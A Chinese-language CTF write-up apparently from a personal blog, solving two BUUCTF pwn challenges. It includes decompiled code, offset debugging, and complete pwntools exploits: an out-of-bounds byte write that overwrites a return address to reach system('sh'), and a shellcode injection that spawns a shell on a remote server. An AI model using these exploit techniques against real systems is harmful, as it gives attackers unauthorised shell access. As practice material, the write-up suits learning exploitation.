buuctf:qctf2018_stack2、[BSidesCF 2019]Runit 1
本文最后更新于220 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、qctf2018_stack2分析


32位开了NX和Canary,运行一下

很有趣的一个程序,计算平均值,输入的暂且是数字

ida里看到有system,还有/bin/bash,应该是用sh来getshell吧,后面找一下sh的地址就行

不直接的后门


main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@18
  unsigned int v5; // [sp+18h] [bp-90h]@1
  unsigned int v6; // [sp+1Ch] [bp-8Ch]@6
  int v7; // [sp+20h] [bp-88h]@2
  unsigned int j; // [sp+24h] [bp-84h]@5
  int v9; // [sp+28h] [bp-80h]@1
  unsigned int i; // [sp+2Ch] [bp-7Ch]@1
  unsigned int k; // [sp+30h] [bp-78h]@13
  unsigned int l; // [sp+34h] [bp-74h]@20
  char v13[100]; // [sp+38h] [bp-70h]@2
  int v14; // [sp+9Ch] [bp-Ch]@1

  v14 = *MK_FP(__GS__, 20);//canary
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j), j) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);//这里本来是要写需要修改的数字编号
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;//可以发现v5可能造成越界,并没有对v5进行限制
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}


我们看一下v5和v13在什么位置


v5是在var_90,v7是var_80,还有数组var_13是var_70,所以我们还是要在栈上下功夫,最后的目的是劫持函数的返回地址,那我们需要计算v13的首地址到返回函数的偏移,跟着佬调试一下,不一定能成。我们看看让我们输入v7附近的汇编代码

.text:08048688                 push    offset aD       ; "%d"
.text:0804868D                 call    ___isoc99_scanf
.text:08048692                 add     esp, 10h
.text:08048695                 sub     esp, 0Ch
.text:08048698                 push    offset aGiveMeYourNu_0 ; "Give me your numbers"
.text:0804869D                 call    _puts
.text:080486A2                 add     esp, 10h
.text:080486A5                 mov     [ebp+var_7C], 0
.text:080486AC                 jmp     short loc_80486DB
.text:080486AE ; ---------------------------------------------------------------------------
.text:080486AE
.text:080486AE loc_80486AE:                            ; CODE XREF: main+11Cj
.text:080486AE                 sub     esp, 8
.text:080486B1                 lea     eax, [ebp+var_88]
.text:080486B7                 push    eax
.text:080486B8                 push    offset aD       ; "%d"
.text:080486BD                 call    ___isoc99_scanf
.text:080486C2                 add     esp, 10h
.text:080486C5                 mov     eax, [ebp+var_88]
.text:080486CB                 mov     ecx, eax
.text:080486CD                 lea     edx, [ebp+var_70]
.text:080486D0                 mov     eax, [ebp+var_7C]
.text:080486D3                 add     eax, edx
.text:080486D5                 mov     [eax], cl
.text:080486D7                 add     [ebp+var_7C], 1
.text:080486DB
.text:080486DB loc_80486DB:                            ; CODE XREF: main+DCj
.text:080486DB                 mov     edx, [ebp+var_7C]
.text:080486DE                 mov     eax, [ebp+var_90]
.text:080486E4                 cmp     edx, eax
.text:080486E6                 jnb     short loc_80486EE
.text:080486E8                 cmp     [ebp+var_7C], 63h
.text:080486EC                 jle     short loc_80486AE
.text:080486EE
.text:080486EE loc_80486EE:                            ; CODE XREF: main+116j
.text:080486EE                 mov     eax, [ebp+var_90]
.text:080486F4                 mov     [ebp+var_84], eax
.text:080486FA
.text:080486FA loc_80486FA:                            ; CODE XREF: main:loc_80488E1j
.text:080486FA                 sub     esp, 0Ch

很重要的线索是.text:080486CD lea edx, [ebp+var_70]

.text:080488F2 retn

就是v13的首地址放在edx中,那在这里下1个断点,看看edx,在return也下一个断点


edx是0xf7fc14c0接下来是return的地址

esp=0xffffd65c

呃,不对,第一个断点重新下,看一看edx的变化

断在.text:080486D5 mov [eax], cl

edx=0xffffd5d8

输入5执行到ret

这就舒服了嘛

esp=0xffffd65c


偏移就是0x84,现在/bin/bash不能直接使用,我们找找sh

sh=0x08048987

接下来就是这道题特殊的地方,虽然是个栈溢出,但是覆盖的方式是利用3去搞,还要注意是小端序,我们要写的地址是0x804859B和0x8048987,试一试吧

2、qctf2018_stack2实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",25481)

def attack(offset,addr):
    p.sendlineafter("5. exit\n",str(3))
    p.sendlineafter("which number to change:\n",str(offset))
    p.sendlineafter("new number:\n",str(addr))

def start():
    p.sendlineafter("How many numbers you have:\n",str(1))
    p.sendlineafter("Give me your numbers\n",str(1))

backdoor=0x804859B
system_plt=0x8048450
sh=0x8048987
offset=0x84

start()
attack(offset,0x9b)
attack(offset+1,0x85)
attack(offset+2,0x04)
attack(offset+3,0x08)

attack(offset+8,0x87)
attack(offset+9,0x89)
attack(offset+10,0x04)
attack(offset+11,0x08)

p.sendlineafter("5. exit\n",str(5))
p.interactive()

ok,孩子们,终于看到falg了……

3、[BSidesCF 2019]Runit 1分析


有一个输入,32位开了NX,打开iida看看

main函数代码,比较简单buf其实是申请的内存的地址,所以我们只需要写入shellcode,最后就会被调用,因为程序最后会指向buf

4、Runit 1实操

from pwn import *
context(arch="i386",log_level="debug")
p=remote("node5.buuoj.cn",28604)

shellcode=asm(shellcraft.sh())
p.recvuntil("Send me stuff!!\n")
p.sendline(shellcode)
p.interactive()
最近有点忙呀......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇